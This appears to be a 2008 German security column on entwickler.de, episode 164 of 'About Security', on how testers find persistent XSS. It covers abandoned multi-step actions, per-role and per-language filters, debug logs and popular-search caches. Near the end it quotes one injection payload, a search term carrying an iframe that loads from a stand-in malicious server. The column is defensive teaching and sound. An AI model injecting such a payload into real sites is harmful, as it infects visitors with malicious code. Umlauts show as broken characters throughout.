Freitag, 6. Juli 2012


Topthema

Donnerstag, 17. Juli 2008 | Topthema

About Security #164: Schwachstellensuche: Persistentes XSS (3)

(Link zum Artikel: http://www.entwickler.de/entwicklerde/kolumnen/044235)
  • Teilen
  • kommentieren
  • empfehlen
  • Bookmark and Share

Die meisten Schritte bei der Suche nach persistenten Cross-Site-Scripting-Schwachstellen wurden in About Security #162 und #163 bereits beschrieben, in dieser Folge werden die noch fehlenden Punkte vorgestellt.

Aktion abgebrochen, alles zur�ck auf Null?

Was passiert eigentlich, wenn eine in mehrere Schritte aufgeteilte Aktion nicht abgeschlossen wird � werden die Daten eventuell in einem Zwischenspeicher abgelegt, der nicht sofort gel�scht wird? Was passiert, wenn ein Administrator sich diesen Zwischenspeicher ansieht, z.B. um ein Problem zu l�sen? Ist es vielleicht m�glich, eine begonnene Aktion samt eingeschleusten Schadcode einem anderen Benutzer unterzuschieben, der dann beim Fortf�hren Opfer des eingeschleusten Codes wird? XSS k�nnte auch bei einer nicht abgeschlossenen Aktion m�glich sein, daher muss auch dieser Fall gepr�ft werden.

Eine Anwendung, mehrere Darstellungen

N E U ! Security aktuell
T�glich aktuelle Security-Infos!

Unterst�tzt die Webanwendung verschiedene Benutzerrollen, wie z.B. Gast, Benutzer, Moderator oder Administrator, muss darauf geachtet werden, das wirklich alle Parameter getestet wurden. Ein weiterer Stolperstein auf der Suche nach allen m�glichen XSS-Schwachstellen: Manchmal wechseln mit der Benutzerrolle auch die zur Verf�gung stehenden Funktionen samt vorgeschalteter Pr�ffunktionen, sodass nicht nur neue Parameter dazu kommen, sondern auch auf bereits mit niedrigeren Rechten getestete Parameter andere Pr�ffunktionen angewendet werden. Sofern man nicht sicher ist, dass f�r einen bestimmten Parameter immer dieselbe Pr�ffunktion verwendet wird, kommt man um eine Pr�fung jeder m�glichen Variante nicht herum.

Ein weiteres typisches Beispiel f�r einen derartigen Fall sind mehrsprachige Webanwendungen, bei denen f�r verschiedene Sprachen unterschiedliche Pr�ffunktionen verwendet werden. Das muss nicht einmal von Anfang an so geplant gewesen sein, sondern kann sich auch im Laufe der Zeit so entwickelt haben: F�hrt die allgemeine Pr�ffunktion im Zusammenhang mit einer Sprache zu Problemen, wird sie f�r diese Sprache durch eine zus�tzliche, an die Sprache angepasste Pr�ffunktion ersetzt. Wird sp�ter die allgemeine Pr�ffunktion an aktuelle Entwicklungen angepasst, bleibt die Spezialfunktion unter Umst�nden unber�cksichtigt und kann dadurch ausgetrickst werden.

Auch eine eventuell vorhandene Debug-Funktion muss ber�cksichtigt werden: Es k�nnte dar�ber m�glich sein, XSS-Code z.B. in ein Logfile einzuschleusen, das dann von einem Administrator im Webbrowser ge�ffnet wird.

Sonstige Einfallstore

Au�er den direkt manipulierbaren Parametern k�nnte es weitere M�glichkeiten geben, eigene Daten auf dem Server zu speichern und diese sp�ter ausgeben zu lassen. Z.B. zeigt die Suchfunktion eine Liste popul�rer Suchbegriffe an. Dann w�re es m�glich, persistenten XSS-Code einzuschleusen, indem er mehrmals als Suchbegriff verwendet wird. Das kann auch dann passieren, wenn die Suchfunktion selbst nicht f�r XSS anf�llig ist.

About Security: Die komplette Serie

Dass derartige Angriffe tats�chlich eine Gefahr sind, beweisen �hnliche Angriffe im Fr�hjahr 2008, die daf�r sorgten, dass viele eigentlich vertrauensw�rdige Websites die Rechner ihrer Besucher mit Schadcode infizierten (Standpunkt Sicherheit vom 17. M�rz 2008): Um den daf�r verwendeten IFrame einzuschleusen, nutzten die Angreifer die Suchmaschinenoptimierung der betroffenen Websites: Jede Suchanfrage wurde lokal gecached. Die Angreifer mussten nur nach dem gew�nschten Stichwort und einer ladbaren Version des IFrame suchen, und der Code wurde in den Cache �bernommen:

Interessanter-Suchbegriff<iframe src="http://boeser-server/...">
Zusammenfassung

F�r jeden Parameter wird ein Testmuster eingegeben, danach in der gesamten Webanwendung nach dessen Auftreten gesucht. Am effektivsten geht das, wenn f�r jeden Parameter ein individuelles Testmuster, aufgebaut aus einem einheitlichen Teil und Informationen �ber den jeweiligen Parameter, verwendet wird. Auch die Bereiche der Webanwendung, die erst nach einer erfolgreichen Authentifizierung zug�nglich sind, wie z.B. der Administrationsbereich, m�ssen untersucht werden. Aktionen, die aus mehreren Schritten bestehen, m�ssen bis zum Ende durchgef�hrt werden. Auch Dateiup- und -downloads m�ssen gepr�ft werden. Kennt die Webanwendung verschiedene Benutzerrollen oder unterst�tzt sie verschiedene Sprachen, m�ssen alle Varianten untersucht werden. Au�er den direkt manipulierbaren Parametern m�ssen auch eventuell vorhandene weitere M�glichkeiten, Daten auf dem Server zu speichern, gepr�ft werden.

Weiter gehts...

Nachdem alle M�glichkeiten identifiziert wurden, vom Benutzer kontrollierte Daten zu speichern und sp�ter wieder auszugeben, m�ssen sie wie bei der Suche nach reflektiertem XSS eine nach der anderen gepr�ft werden: Kann dar�ber XSS-Code eingeschleust werden oder funktionieren die Pr�f- und/oder Filterfunktionen einwandfrei? Dabei wird wie in About Security #159 und #160 beschrieben vorgegangen.

In der n�chsten Folge erfahren Sie, wie Sie die dritte Kategorie von XSS-Schwachstellen finden k�nnen: DOM-basierte XSS-Schwachstellen.

Wenn Sie Fragen oder Themenvorschl�ge haben, k�nnen Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!

Carsten Eilers

About Security � �bersicht zum aktuellen Thema "Schwachstellensuche � III. Angriffe �ber vom Benutzer gelieferte Daten: XSS"

Kommentare

Folgende Links könnten Sie auch interessieren